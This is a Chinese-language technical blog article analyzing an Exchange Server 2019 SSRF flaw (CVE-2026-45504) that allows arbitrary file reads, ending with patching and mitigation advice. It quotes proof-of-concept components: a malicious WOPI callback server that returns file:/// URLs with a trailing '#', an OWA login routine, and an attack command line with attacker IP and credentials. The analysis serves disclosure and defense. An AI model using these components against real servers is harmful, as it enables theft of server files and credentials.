导语:微软Exchange Server 2019被曝出严重SSRF(服务器端请求伪造)漏洞CVE-2026-45504,CVSS评分高达8.8。任何Exchange低权限认证用户均可利用此漏洞读取服务器上的任意文件,包括系统配置、加密凭证等敏感信息。HawkTrace研究团队已于6月24日发布完整PoC代码。
一、漏洞概述
CVE编号:CVE-2026-45504 CVSS评分:8.8(高危) 漏洞类型:SSRF(服务端请求伪造) + 任意文件读取 受影响产品:Microsoft Exchange Server 2019 披露时间:2026年6月(微软6月补丁日) PoC公开:2026年6月24日

这个漏洞的特殊性在于:Exchange的WebApplicationUrl字段在返回时未对协议方案(scheme)进行验证。攻击者控制的WOPI(Web应用程序开放协议接口)端点可返回file:///C:/path/to/file这样的URL,让Exchange主动读取本地文件并返回给攻击者。
从攻击者视角看,这就是教科书级的SSRF转文件读取漏洞——一个合法认证的Exchange邮箱用户,无需管理员权限,就能从Exchange服务器上偷走任何文件。
二、漏洞原理深度剖析
要理解这个漏洞,必须先理解Exchange的WOPI调用链。
2.1 TryTwice函数
Exchange内部有一个名为TryTwice的工具函数,它接收URL并调用WebRequest.CreateHttp(url)发起请求:
private static WebResponse TryTwice(ICallContext callContext, string url,
ICredentials credentials, WebHeaderCollection headers)
{
WebResponse webResponse = null;
Exception ex = null;
for (int i = 0; i < 2; i++)
{
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
// ... 配置请求头、凭据等
// ... 同步发起请求
}
// ...
}
注意这里的关键问题:url参数被直接传入WebRequest.CreateHttp(),攻击者可以控制这个URL。但仅凭这个还无法读取文件——漏洞的真正威力要结合下面的链才能发挥。
2.2 GetTokenRequestWebResponse函数
这个函数将传入的URL转换为SharePoint REST API请求格式:
string text = string.Format(getWacTokenUrlFormat, endPointUrl,
HttpUtility.UrlEncode(documentUrl.Replace("'", "''")), actionOrAppId);
2.3 GetWacUrl函数(核心漏洞点)
这是漏洞的关键所在。GetWacUrl通过SharePoint的GetWopiTargetPropertiesByUrl或GetWacToken接口获取WOPI令牌,并从返回的OData响应中解析三个值:
WebApplicationUrlAccessTokenAccessTokenTtl
然后构造最终URL:
{WebApplicationUrl}&access_token={AccessToken}&access_token_ttl={AccessTokenTtl}&sc=...
问题来了:如果攻击者控制的WOPI端点返回的WebApplicationUrl是file:///c:/windows/win.ini,Exchange会构造这样的请求:
file:///c:/windows/win.ini&access_token=...&access_token_ttl=...
但这破坏了文件路径,导致Exchange无法正确读取文件。
2.4 转义字符集:#符号的妙用
和SQL注入一样,这里也用到了特殊字符的妙用。#符号正是关键。
如果在WebApplicationUrl中追加一个#字符:
- 系统会把
#之后的所有内容视为URI片段(fragment),并忽略 - 最终请求变成:
file:///c:/windows/win.ini#?...&access_token=... - URI解析器只会解析
#之前的部分,从而正确读取目标文件
这是整个漏洞利用链最巧妙的设计。
三、利用链完整流程

完整的攻击流程如下:
- 攻击者启动恶意WOPI服务器:在自己的机器上启动一个监听指定端口的HTTP服务,模拟SharePoint端点
- 创建Exchange EWS ReferenceAttachment:使用认证的低权限Exchange账户,通过EWS(Exchange Web Services)创建一个引用附件,附件的
ProviderEndpointUrl指向攻击者的服务器 - 受害者打开附件预览:当受害者打开附件预览时,Exchange会向攻击者的服务器发起SSRF请求,请求路径为:
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(
fileUrl=@p, requestedAction=0)?@p='http://attacker:port/'
- 攻击者服务器响应:返回精心构造的XML响应,包含:
<d:WebApplicationUrl>file:///C:/windows/win.ini#</d:WebApplicationUrl>
<d:AccessToken>x</d:AccessToken>
<d:AccessTokenTtl>3600</d:AccessTokenTtl>
- Exchange读取本地文件:Exchange根据
WebApplicationUrl调用WebClient.OpenRead(),读取服务器上的C:/windows/win.ini文件 - 文件内容返回给攻击者:Exchange将文件内容作为附件预览的一部分返回
四、PoC代码解析
HawkTrace公开的PoC代码结构非常清晰,由几个关键组件构成:
4.1 命令行参数
PoC接受以下参数:
python3 CVE-2026-45504.py
--attacker-ip 192.168.2.238
--attacker-port 9020
--creds testuser@hawktrace.local
--password Hawktrace1
--target https://mail.exchange.local
--target-file "C:/Windows/System32/drivers/etc/hosts"
4.2 恶意WOPI服务器(核心利用)
PoC内置一个HTTP回调服务器,关键代码如下:
class CallbackHandler(BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def do_GET(self):
escaped = _current_path.replace(" ", "%20")
body = (
'<?xml version="1.0" encoding="utf-8"?>'
'<root xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">'
f"<d:WebApplicationUrl>file:///{escaped}#</d:WebApplicationUrl>"
"<d:AccessToken>x</d:AccessToken>"
"<d:AccessTokenTtl>3600</d:AccessTokenTtl>"
"</root>"
).encode()
self.send_response(200)
self.send_header("Content-Type", "application/xml; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
注意三个关键点:
WebApplicationUrl是file:///协议开头的本地文件路径- 末尾的
#符号是关键,让后续参数被作为fragment忽略 - 完整的XML命名空间
http://schemas.microsoft.com/ado/2007/08/dataservices与Exchange的解析器匹配
4.3 OWA登录与会话保持
PoC首先通过OWA(Outlook Web Access)认证,获取会话cookie和canary token:
def login():
s = requests.Session()
s.verify = False
r = s.post(
f"{TARGET}/owa/auth.owa",
data={
"destination": f"{TARGET}/owa/",
"flags": "4",
"forcedownlevel": "0",
"username": PRINCIPAL,
"password": PASS,
"isUtf8": "1",
},
allow_redirects=False,
timeout=2000,
)
# ... 提取canary
使用requests_ntlm库处理NTLM认证,这是Exchange内网部署的标配认证方式。
4.4 创建EWS ReferenceAttachment
最后,PoC通过Exchange的EWS(Exchange Web Services)接口创建一个引用附件(ReferenceAttachment),这个附件的ProviderEndpointUrl指向攻击者的恶意服务器。后续的攻击链完全由Exchange自动触发。
五、利用条件与影响
5.1 利用条件
- 能够访问Exchange服务器的OWA接口(内网或VPN)
- 拥有一个有效的Exchange邮箱账户(哪怕是普通用户权限)
- 能够连接到攻击者控制的HTTP服务器(通过SSRF回连)
5.2 潜在危害
| 危害等级 | 具体影响 |
|---|---|
| 机密性泄露 | 读取系统配置文件(如hosts、SAM数据库) |
| 凭据窃取 | 读取web.config等应用配置文件,获取加密密钥和服务账户密码 |
| 权限提升 | 利用读取的配置文件中的服务账户凭据,结合其他漏洞横向移动 |
| 情报收集 | 读取Exchange配置文件、邮件规则、连接器配置等敏感信息 |
攻击者从普通员工邮箱账号出发,理论上可以读取Exchange服务器上所有NTFS权限允许的文件,相当于直接从应用层绕过了操作系统级的文件访问控制。
六、修复与缓解
6.1 官方修复
微软已在2026年6月的补丁日发布了针对CVE-2026-45504的安全更新。强烈建议所有Exchange Server 2019管理员立即安装6月累积更新。
6.2 缓解措施
在等待官方修复期间,可以采取以下临时缓解措施:
- 限制Exchange服务器的出站连接:通过防火墙规则禁止Exchange服务器主动访问外网或攻击者控制的服务器,从根本上切断SSRF回连
- 监控异常EWS活动:重点关注包含
ReferenceAttachment创建事件的EWS请求和异常的GetWopiTargetPropertiesByUrl调用 - 文件完整性监控:在Exchange服务器上部署文件完整性监控(FIM)工具,监控关键系统文件(如
win.ini、hosts、web.config)的异常读取 - 最小权限原则:对Exchange邮箱账户进行权限审计,确保普通用户无法读取敏感附件
6.3 长期防御
代码层面,永久修复需要验证WebApplicationUrl返回值的协议方案:
- 仅允许
http://和https:// - 显式拒绝
file://、ftp://、gopher://等非HTTP协议 - 验证URL的主机名是否在白名单内
七、总结
CVE-2026-45504再次证明:SSRF漏洞的本质从来不是”能不能发出请求”,而是”响应被怎么用”。这次微软Exchange的WOPI集成中,#片段的妙用让SSRF瞬间升级为任意文件读取,危害成倍放大。
对于红队而言,这又是一个低成本高回报的攻击向量——只需要一个普通邮箱账号,就能从Exchange服务器读取关键文件。对于蓝队而言,这是Exchange Server 2019的又一次严峻考验,必须立即打补丁。
关键时间线:
- 2026年6月:微软发布6月补丁日安全更新,修复CVE-2026-45504
- 2026年6月24日:HawkTrace团队发布完整PoC代码
参考链接:
- 推文:https://x.com/DarkWebInformer/status/2069854919859765699
- 技术Writeup:https://hawktrace.com/blog/CVE-2026-45504/
- PoC代码:https://github.com/hawktrace/CVE-2026-45504
- 微软官方公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504














暂无评论内容